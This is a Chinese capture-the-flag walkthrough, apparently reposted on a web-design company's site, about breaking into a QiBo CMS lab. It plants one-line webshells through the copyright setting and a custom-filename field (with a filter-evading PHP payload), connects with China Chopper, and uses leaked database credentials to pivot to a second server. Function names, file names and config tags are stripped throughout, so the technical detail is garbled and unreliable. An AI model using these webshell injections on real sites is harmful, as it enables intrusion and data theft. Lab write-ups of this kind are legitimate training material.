第一个漏洞涉及两个操作,一个是在网页底部的版权信息中写入一句木马,另一个是创建频道的静态页面,漏洞报告中没有给出审计流程,很佩服这个组合拳,详细可以参考:
启博cms最新后台
首先我搜索了一下,发现启博CMS默认的登录后台是/admin/index.php,于是尝试访问,发现后台路径确实没被修改,然后我使用账号admin和密码!@#123登录后台:
点击系统功能—>全局参数设置,在网页最下方的版权信息里写上一句木马然后保存设置:
这里为什么不使用传统的一句话木马呢?因为CMS会过滤eval()函数,将其转换为eva l():
所以这里可以用()函数写入木马,也体现了CMS的写入过滤不完善。然后点击系统功能->频道独立页面管理->添加频道页面,频道页面名称任意填写字符(这里以sqli为例),.php文件名一定要填写静态文件名,否则菜刀无法连接(这里以sqli.php为例):
点击之后,在频道管理页就可以看到添加的频道页面了,接下来一定要点击按钮才能正常访问,不然只会弹出404页面:
确认sqli.php页面可以正常打开后,准备添加菜刀连接的SHELL:
连接成功后,在管理员桌面上可以看到flag文件:
打开flag文件获取key{},因此问题2的答案为:
前端栏目提交自定义文件名写入木马
第二个漏洞是在前端栏目提交设置信息中的自定义文件名输入框中触发的,因此需要“自定义内容页文件名”权限。不过我们已经有管理员权限了,所以不用担心这个问题。具体可以参考:
在 QiBo CMS 的某处写入任意文件(需要一定的权限)
首先,使用账户admin和密码!@#123登录,然后点击!我要贡献:
选择任意栏目,点击“我要投稿”即可发布(这里以社会新闻栏目为例):
首先在其他设置选项卡下的自定义文件名输入框中写入木马x';@($_POST['cmd']);//y.htm:
代码中的x';是关闭左边的单引号,//y.htm是让整体文件名带有静态网页的后缀,注释掉后面的代码。注意这里不能使用eval()函数构造木马,还是会像前面一样被过滤。
返回基本信息选项卡,填写标有(*)的必填信息并提交:
提交之后,访问,成功看到错误信息:
接下来添加菜刀连接的SHELL:
连接成功后可以在/data/.php源码中看到添加的木马,证实了漏洞的存在:
检查管理员桌面上的flag文件和上一篇文章是一样的,这里就不再赘述了。
0×03 获取bbs.test.数据库中admin的盐值
第3题终于引入了论坛社区的数据库……为了方便我们直接进行这道题,出题者好像把/2.php放在了主站的根目录下,省去了上一道题插入木马的过程:
所以下次你想直接复现问题3的时候,直接用菜刀连接这个木马就行了:
我们可以在根目录下看到文件夹/,进一步搜索默认数据库配置文件/data/.inc.php,打开后看到:
但主机地址显示为172.16.12.3,好像跟这个没啥关系吧?其实不然,打开主机终端,用命令获取论坛的IP地址,就是172.16.12.3。顺便看看主站的IP地址是172.16.12.2:
注意,数据库配置信息是root用户权限的,所以如果能连接上172.16.12.3上的数据库,那么!172.16.12.3上的数据库也是可以访问的!因此在knife中添加SHELL的配置中填写数据库信息(THUPL):
温馨提示:如何在彩岛填写数据库配置信息请参考黑站工具功能介绍及使用-中国彩岛
<T>mysqlT>
<H>172.16.12.3H>
<U>rootU>
<P>opiznmzs&**(P>
<L>gbkL>
保存设置后,右键点击条目,选择数据库管理,连接成功后可以看到服务端的数据库管理界面:
经过一番查找,我们发现是 ! 的数据库,很明显就是 。我们的目标应该是数据库中某个表的 salt 字段。这里必须要介绍一下 MySQL 自带的数据库,它提供了对元数据的访问,是 MySQL 中的百科全书。 . 表记录了这个数据库中所有字段的相关信息,具体可以参考:
MySQL 中有什么
因此,只需输入一个简单的 SQL 语句,单击“执行”,就会呈现有关盐字段的所有信息:
SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'
最后我们在数据库表中找到salt字段的值:
至此,渗透测试的最终目的已经实现。
还有兴趣的读者可以继续往下看,既然我们已经把172.16.12.3上的数据库爆掉了,那么不妨趁此机会把172.16.12.2上的数据库也爆掉,经过搜索,我发现默认的数据库配置文件是/data/.php:
然后在knife中添加SHELL的配置中修改数据库信息:
连接成功后,在数据库表中找到问题1中的管理员账号和密码哈希值:
至此,本问题中的两个服务器系统已经被我们彻底攻破。
0×04 总结
这道题虽然有两个目标服务器,但本质是一样的,熟练了自然就游刃有余,在这个过程中,我也受益匪浅。细心的读者会发现,整篇文章中“搜索”一词出现多次。渗透测试的核心就是收集目标系统的信息,发现其漏洞并加以利用。
扫一扫在手机端查看
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。